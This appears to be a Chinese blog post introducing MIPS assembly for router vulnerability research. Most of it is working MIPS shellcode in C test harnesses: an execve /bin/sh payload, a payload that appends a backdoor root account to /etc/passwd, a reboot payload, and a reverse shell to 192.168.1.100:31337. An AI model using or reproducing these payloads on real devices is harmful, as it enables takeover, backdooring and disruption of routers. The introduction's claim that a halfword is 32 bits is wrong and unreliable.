前言 最近要着手去做一些路由器的漏洞复现,了解到路由器大多都是mips
架构的,像TP-Link
的路由器;
还有arm
架构的,像华为,小米的路由器。
根据之前学习X86
下的汇编和做过arm-pwn
的经验,其实很容易掌握mips
汇编,更容易抓住重点。
数据类型 1.MIPS
使用定长指令,所有指令都是32位长的 2.1字节=8位,半字长=2个字节(32位),1字长=4个字节 3.一个字符空间=1个字节 4.一个整形=一个字长=4个字节 5.单个字符用单引号 6.字符串用双引号
register 一共有32个寄存器一般用助记符表示
MIPS下一共有32个通用寄存器
在汇编中,寄存器标志以$开头
寄存器表示可以有两种方式: 1.直接使用该寄存器对应的编号,例如:从$0到$31 2.使用对应的寄存器名称,例如t1,t1,sp,详见下文
对于以上两者,不存在直接寻址,必须通过mfhi(“move from hi”)
和mflo(“move from lo”)
分别来进行访问对应的内容。
栈的走向是从高地址向低地址
指令集 指令的话没必要全部都看反正看了也记不住,留一个基本的指令集来查询吧 MIPS指令集
值得注意的是 MIPS
有三种指令格式,而且所有的指令都是32位长,这点跟X86
的很不一样。
通过写 shellcode
可以更好的掌握汇编
1 2 3 4 5 6 7 8 9 10 11 sh=''' li $v0,0x6e69622f sw $v0,0 ($sp) li $v0,0x0068732f sw $v0,4 ($sp) addiu $a0,$sp,0 li $v0,4011 li $a1,0 li $a2,0 syscall '''
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> char sc[] = { "\x28\x06\xff\xff" "\x3c\x0f\x2f\x2f" "\x35\xef\x62\x69" "\xaf\xaf\xff\xf4" "\x3c\x0e\x6e\x2f" "\x35\xce\x73\x68" "\xaf\xae\xff\xf8" "\xaf\xa0\xff\xfc" "\x27\xa4\xff\xf4" "\x28\x05\xff\xff" "\x24\x02\x0f\xab" "\x01\x01\x01\x0c" }; void main (void ) { void (*s)(void ); printf ("size: %d\n" , strlen (sc)); s = sc; s(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #include <stdio.h> char sc[] = "\x24\x09\x73\x50" "\x05\x30\xff\xff" "\x24\x09\x73\x50" "\x3c\x0f\x30\x2f" "\x35\xef\x65\x74" "\x3c\x0e\x63\x2f" "\x35\xce\x70\x61" "\x3c\x0d\x73\x73" "\x35\xad\x77\x64" "\xaf\xaf\xff\xf3" "\xaf\xae\xff\xf7" "\xaf\xad\xff\xfb" "\xaf\xa0\xff\xff" "\x27\xa4\xff\xf4" "\x24\x05\x01\x6d" "\x24\x02\x0f\xa5" "\x01\x01\x01\x0c" "\xaf\xa2\xff\xfc" "\x8f\xa4\xff\xfc" "\x23\xe5\x10\x0c" "\x20\xa5\xf0\x60" "\x24\x09\xff\xd3" "\x01\x20\x30\x27" "\x24\x02\x0f\xa4" "\x01\x01\x01\x0c" "\x24\x02\x0f\xa6" "\x01\x01\x01\x0c" "\x28\x04\xff\xff" "\x24\x02\x0f\xa1" "\x01\x01\x01\x0c" "\x72\x4f\x4f\x74" "\x3a\x58\x4a\x31" "\x47\x56\x2e\x6e" "\x79\x46\x46\x4d" "\x6f\x49\x3a\x30" "\x3a\x30\x3a\x72" "\x6f\x6f\x74\x3a" "\x2f\x72\x6f\x6f" "\x74\x3a\x2f\x62" "\x69\x6e\x2f\x62" "\x61\x73\x68\x0a" ; void main (void ) { void (*s)(void ); printf ("size: %d\n" , strlen (sc)); s = sc; s(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> char sc[] = "\x3c\x06\x43\x21" "\x34\xc6\xfe\xdc" "\x3c\x05\x28\x12" "\x34\xa5\x19\x69" "\x3c\x04\xfe\xe1" "\x34\x84\xde\xad" "\x24\x02\x0f\xf8" "\x01\x01\x01\x0c" ; void main (void ) { void (*s)(void ); printf ("size: %d\n" , sizeof (sc)); s = sc; s(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <stdio.h> char sc[] = "\x24\x0f\xff\xfd" "\x01\xe0\x20\x27" "\x01\xe0\x28\x27" "\x28\x06\xff\xff" "\x24\x02\x10\x57" "\x01\x01\x01\x0c" "\xaf\xa2\xff\xff" "\x8f\xa4\xff\xff" "\x24\x0f\xff\xfd" "\x01\xe0\x78\x27" "\xaf\xaf\xff\xe0" "\x3c\x0e\x7a\x69" "\x35\xce\x7a\x69" "\xaf\xae\xff\xe4" "\x3c\x0d\xc0\xa8" "\x35\xad\x01\x64" "\xaf\xad\xff\xe6" "\x23\xa5\xff\xe2" "\x24\x0c\xff\xef" "\x01\x80\x30\x27" "\x24\x02\x10\x4a" "\x01\x01\x01\x0c" "\x24\x0f\xff\xfd" "\x01\xe0\x28\x27" "\x8f\xa4\xff\xff" "\x24\x02\x0f\xdf" "\x01\x01\x01\x0c" "\x20\xa5\xff\xff" "\x24\x01\xff\xff" "\x14\xa1\xff\xfb" "\x28\x06\xff\xff" "\x3c\x0f\x2f\x2f" "\x35\xef\x62\x69" "\xaf\xaf\xff\xf4" "\x3c\x0e\x6e\x2f" "\x35\xce\x73\x68" "\xaf\xae\xff\xf8" "\xaf\xa0\xff\xfc" "\x27\xa4\xff\xf4" "\x28\x05\xff\xff" "\x24\x02\x0f\xab" "\x01\x01\x01\x0c" ; void main (void ) { void (*s)(void ); printf ("size: %d\n" , sizeof (sc)); s = sc; s(); }
Reference:
MIPS指令与汇编.pdf
MIPS汇编快速入门
mips_Assembly_Language
MIPS指令集